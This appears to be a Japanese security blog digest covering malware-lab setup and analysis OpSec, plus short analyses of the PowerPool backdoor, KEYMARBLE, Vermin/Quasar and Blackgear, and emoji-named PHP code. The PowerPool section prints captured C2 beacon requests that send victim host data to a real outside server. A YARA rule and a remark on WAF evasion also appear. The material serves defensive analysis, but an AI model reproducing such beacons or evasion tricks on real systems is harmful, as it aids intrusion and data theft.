マルウェア解析用のラボ構築
マルウェア解析用のラボ構築手順が書かれた記事。全て無料で構築出来るので、今からマルウェア解析を始めたいという方には参考になりそうです。
以下、簡単に概要を記載します。
※免責事項として、ここに記載している手順を参考に実施して何らかの被害が発生しても責任を負いかねる旨、明記しておきます。
■ マルウェア解析用ラボの構築手順
1. 仮想化ソフトウェアのインストール
2. WindowsのVMファイルを入手する
3. VMをアップデートして、解析ツールをインストール
4. VMを隔離して、Windows Defenderを停止する
5. マルウェアを解析する
■ 手順詳細
1. 仮想化ソフトウェアのインストール
自分の好みの仮想化ソフトウェアをダウンロードし、インストールする。
【例】VirtualBox、 VMware等
Windowsのライセンスを持っていない場合は、Micros oftのサイトから無料でWindows10のVMファイルをダウンロード可能。
○Microsoft Edge page for downloading virtual machines
developer.microsoft.com
Virtual machineに「MSEdge on Win 10 (x64)」を選択
Select platformには1.で選んだ仮想化ソフトウェアを選択
※90日後に有効期限が切れるため、事前にスナップショットを取
※ログインパスワードには「Passw0rd!」が設定されている
3. VMをアップデートして、解析ツールをインストール
2.で入手したWindowsのOSアップデートを実施し、最新のパッチを当てる。
その後、好みのマルウェア解析ツールをインストールする。
【例】動的解析: Process Monitor, ProcDOT, Process Hacker, Wireshark
静的解析: PeStudio, IDA Freeware, x64dbg, Scylla
※FLARE VMから自動的に解析ツールをインストールする事も可能
※必要に応じてVMの拡張パック等もインストールすると良い。ただし、マルウェアの仮想化検知に引っかかる可能性も高まるので注意
4. VMを隔離して、Windows Defenderを停止する
共有フォルダの無効化や、ネットワークからの隔離(Host-O
また、解析の邪魔にならないようにWindows Defenderを停止する。
※ここで不備があると、思わぬ感染被害を受ける可能性がある為、注意
※クリーンな環境に戻せるように4.が終わった後でスナップショットを取得しておく
5. マルウェアを解析する
4.で作成した環境にマルウェアを移して解析を始める
○参考: マルウェア解析の役に立つサイト
Reverse-Engineering Malware Cheat Sheet
https://zeltser.com/malware-an alysis-cheat-sheet/
Analyzing Malicious Documents Cheat Sheet
https://zeltser.com/analyzing- malicious-documents/
Tips for Reverse-Engineering Malicious Code
https://zeltser.com/reverse-en gineering-malicious-code-tips/
Mastering 4 Stages of Malware Analysis
https://zeltser.com/mastering- 4-stages-of-malware-analysis/
Introduction to Malware Analysis Webcast
https://zeltser.com/malware-an alysis-webcast/
マルウェア解析入門
マルウェア解析の入門記事。内容的に特に新しいものはなかったものの、体系的に見直す意味で勉強になりました。
以下、簡単に概要を記載します。
■ マルウェア解析を行う理由
■ お勧めの書籍・サイト
【書籍】
Practical Malware Analysis
Malware Analyst Cookbook
Incident Response and Computer Forensics
【ウェブサイト】
(省略)
■ OpSec
- 攻撃者のインフラにアクセスしない
攻撃者に不審なアクセスが気づかれ、証拠隠滅等をされる可能性が有る。
ダミーデータを返すツールを使う(InetSim、FakeNet)
実際にサービスを立ち上げておく(Ampps)
マルウェアの挙動を完全に理解するために外部通信を許可する場合(適切に隔離、監視、保護を行う必要がある)
- 公開ツール(VirusTotal等)は検索するだけに留める
検体をアップロードすると機微な情報が漏れたり、攻撃者に気づかれるリスクが有る
- ゲストOSの外でマルウェアを実行しない
- ネットワーク接続ができるゲストOS上でマルウェアを実行しない
- 共有ドライブや他のシステムにアクセスできるゲストOS上でマルウェアを実行しない
- クリーンな環境に戻せるようにスナップショットを取っておく
- マルウェア検体を共有する際にはパスワードを付与する
セキュリティ業界では「infected」が最もよく使われている
- 危険なドメイン等をやり取りする際には「デファング(無害化)」する
evil.com → evil[.]com
■ マルウェア解析の種類
常にサンドボックス環境で動作する訳ではないので、別途手動解析をする必要がある場合もある。
- 最初のトリアージには大体15~30分の時間を取る
検体の種類や解析者のレベルにも依存するため、あくまで参考値。
- サンドボックス上での挙動と手動解析した際の挙動を突き合わせて確認する
- 解析方法は以下の4つのカテゴリーに分類できる
- 表層解析(Strings,FLOSS,Hex View)
- (簡易)動的解析(SysInternals, Sandbox)
- (詳細)動的解析(OllyDbg, WinDbg)
- 静的解析(IDA, Hopper)
■ 難読化
・難読化されたコードを読むにはCyberChefがお勧め
Docker: https://docs.docker.com
CyberChef: https://hub.docker.com/r/remnux/cyberchef/
sudo docker run -d -p 8080:80 remnux/cyberchef
「PowerPool」のバックドア解析
既に日本のITニュースでも広く取り上げられているサイバー犯罪グループ「PowerPool」に関する記事。Windowsのタスクスケジューラに存在する権限昇格の脆弱性を突くPoCがGithub上に公開されて2日後に、PoCを組み込んだマルウェアが作成されたようです。
■ 日本語の関連記事
「Windows」タスクスケジューラの脆弱性を悪用するマルウェア見つかる - ZDNet Japan
【セキュリティ ニュース】攻撃グループ「PowerPool」、Windowsタスクスケジューラ狙うゼロデイ攻撃を展開(1ページ目 / 全1ページ):Security NEXT
Windowsタスクスケジューラに発覚した脆弱性、たった2日で悪用マルウェアが出回る - ITmedia エンタープライズ
「PowerPool」は2種類のバックドアを使い分けており、まずは第1段階のバックドアで感染端末を調査し、興味のある端末と判断した際に第2段階のバックドアをダウンロードし、長期感染させるとの事。
ただ記事を見たところ、第1段階のバックドアに関しては非常に簡単な説明しか記載されていなかったため、通信周りを追加で解析してみました。
■ 検体解析
マルウェアを実行したところ、まずは以下の宛先に通信が発生し、グローバルIPアドレスの調査を行います。
GET /ip HTTP/1.1
Connection: Keep-Alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Host: www.l2.io
次にC&Cサーバに端末の固有IDと情報を送付します。
GET /?id=XXXXXXXXXXXXXXXX&info=XXXXXXXXXXXXXXXXXXXXXXXX HTTP/1.1
Connection: Keep-Alive
Accept: */*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Host: run.afishaonline.eu
C&Cサーバに送信される端末情報としては以下を確認しています。
- コンピュータ名
- MACアドレス
- ユーザ名
- グローバルIPアドレス
- プライベートIPアドレス
- OSバージョン
また、端末の固有IDと端末情報については以下の方法で算出・暗号化されていると思われます。
■ 端末の固有ID
<コンピュータ名>_<MACアドレス><インデックス値>
の文字列のMD5値を算出し、その9桁目〜24桁目を使用。
例. Taro-PC_00-01-02-03-04-050
=> (MD5) 144f1279adffe96454877a421bd09ea3
=> (固有ID) adffe96454877a42
■ 端末情報
① zlib deflate
② Base64 Encode
※ C&Cサーバから受け取ったデータは逆の順番(②→①)でデコードしているように見えます。
その他では言語設定がロシア語かどうかチェックしていたりと興味深い部分もありましたがここまでにしたいと思います。
■ 参考
# Mutex
# Check Lang
北朝鮮関与のマルウェア「KEYMARBLE」
米国土安全保障省(DHS)と米連邦捜査局(FBI)が北朝鮮が関与すると思われるマルウェア「KEYMARBLE」について注意喚起を呼びかけたとの記事。
情報元は下記のサイトと思われます。
Incident Reporting System | US-CERT
■ 概要
■ マルウェア機能
-
ファイルのダウンロード / アップロード
-
コマンド実行
-
プロセス一覧の取得
-
プロセスの停止
-
ファイル検索
-
ファイル削除
-
ファイル属性の設定
-
レジストリ作成(データ格納用途)
-
端末情報の収集(OS、CPU、MACアドレス、コンピュータ名...)
■ IOC (STIX形式)
https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.r17.v1.WHITE_stix.xml
■ その他
- US-CERTの記事だと443番ポートで通信するとしか記載されていませんが、995番ポートも使用するため注意。
using port 443, attempts to connect to the hard-coded IP addresses listed below.
- 公開されているyaraファイルは以下。
rule rsa_modulus {meta:Author="NCCIC trusted 3rd party"Incident="10135536"Date = "2018/04/19"category = "hidden_cobra"family = "n/a"description = "n/a"strings:$n = "bc9b75a31177587245305cd418b8df78652d1c03e9da0cfc910d6d38ee4191d40"condition:(uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any of them}
※その他の解析記事
7/24(火) 気になったセキュリティ記事
絵文字を使ってWebShellを作成する記事。
PHPは変数名にUnicode文字を使えるため、絵文字で以下のようなコードが書けるみたいです。
<?php
$😶="Hello World!";
echo($😶);
もちろん日本語もOKです。
<?php
$変数="Hello World!";
echo ($変数);
?>
少し長めのHello World!。
<?php
$🐀="a";
$🐁="b";
$🐂="c";
$🐃="d";
$🐄="e";
$🐅="f";
$🐆="g";
$🐇="h";
$🐈="i";
$🐉="j";
$🐊="k";
$🐋="l";
$🐌="m";
$🐍="n";
$🐎="o";
$🐏="p";
$🐐="q";
$🐑="r";
$🐒="s";
$🐓="t";
$🐔="u";
$🐕="v";
$🐖="w";
$🐗="x";
$🐘="y";
$🐙="z";
$🐚="A";
$🐛="B";
$🐜="C";
$🐝="D";
$🐞="E";
$🐟="F";
$🐠="G";
$🐡="H";
$🐢="I";
$🐣="J";
$🐤="K";
$🐥="L";
$🐦="M";
$🐧="N";
$🐨="O";
$🐩="P";
$🐪="Q";
$🐫="R";
$🐬="S";
$🐭="T";
$🐮="U";
$🐯="V";
$🐰="W";
$🐱="X";
$🐲="Y";
$🐳="Z";
$🐴="0";
$🐵="1";
$🐶="2";
$🐷="3";
$🐸="4";
$🐹="5";
$🐺="6";
$🐻="7";
$🐼="8";
$🐽="9";
$🍛="!";
$🌮=" ";
$🦁= $🐡. $🐄. $🐋. $🐋. $🐎. $🌮. $🐰. $🐎. $🐑. $🐋. $🐃. $🍛;
echo ($🦁);
?>
実際のところ、記事にも書かれている通り絵文字を使う事の利点はなさそうですが、もしかするとWAF等の検知を回避できるのかもしれません。
※サンプルコードの絵文字は以下のサイトから使用させて頂きました。
7/21(土) 気になったセキュリティ記事
ESET社がウクライナ政府を狙ったマルウェアに関する記事を公開していたので概要をメモ。
■ 標的
ウクライナ政府機関
■ 攻撃者
- 2015/10から既に活動
- スキルは高くないが、ソーシャルエンジニアリングを駆使
■ 使用するマルウェア
- Quasar (オープンソースRAT)
- Sobaken (Quasarを元に作られたもの)
- Vermin (カスタムメイド)
■ 攻撃方法
- 主にメールを使用
- 添付ファイルには以下の手法を使用
(1) RLOによる拡張子の偽装
(2) Wordファイル(CVE-2017-0199)
(3) RARの自己解凍書庫(SFX)
■ 特徴
(1) Windowsキーボードのレイアウトをチェックし、ロシアまたはウクライナである事を確認
(2) 感染端末のIPアドレスをチェックし、ロシアまたはウクライナである事を確認
(3) 存在しないURLに通信し、接続に失敗する事を確認
(4) ユーザ名をチェックし、マルウェア解析環境で使われている名前でない事を確認
e.g. ANDY, ANTONY, JOHN
■ その他
- パスワード窃取プログラムはロシアのフォーラム(Habrahabr)からコピペして作成
- コード難読化のために商用の「.NET Reactor」、またはフリーの「ConfuserEx」を使用
- Vitevic Assembly Embedderを使用
■ IOC
https://www.welivesecurity.com/wp-content/uploads/2018/07/ESET_Quasar_Sobaken_Vermin.pdf
7/18(水) 気になったセキュリティ記事
日本を標的にしているAPT攻撃者グループに関する最新の記事があったので簡単に概要をメモ。
■ グループ名
Blackgear (別名: Topgear, Comnie)
■ 標的
国: 日本、韓国、台湾
組織: 公的機関、通信、ハイテク産業
■ 使用するマルウェア
Marade (ダウンローダー)
Protux (バックドア)
Elirks (バックドア)
■ 特徴
C2サーバの通信先をブログやソーシャルメディアに投稿した記事中に隠す
■ 攻撃方法
1. ドキュメントファイル、または偽のインストーラを標的に送りつける。
(e.g. マクロ付きOfficeファイル、偽のFlash Playerインストーラ)
2. 被害者が送りつけられたファイルを実行するとMarade (ダウンローダー)が起動する。
3. Marade (ダウンローダー)はブログやソーシャルメディアからC2サーバの通信先を取得する。
4. Marade (ダウンローダー)は3.で取得した通信先からProtux (バックドア)をダウンロード・実行する。
5. Protux (バックドア)はブログやソーシャルメディアからC2サーバの通信先を取得する。
6. 攻撃者はC2サーバから命令を下してProtux (バックドア)を利用して任意の操作を行う。
■ IOC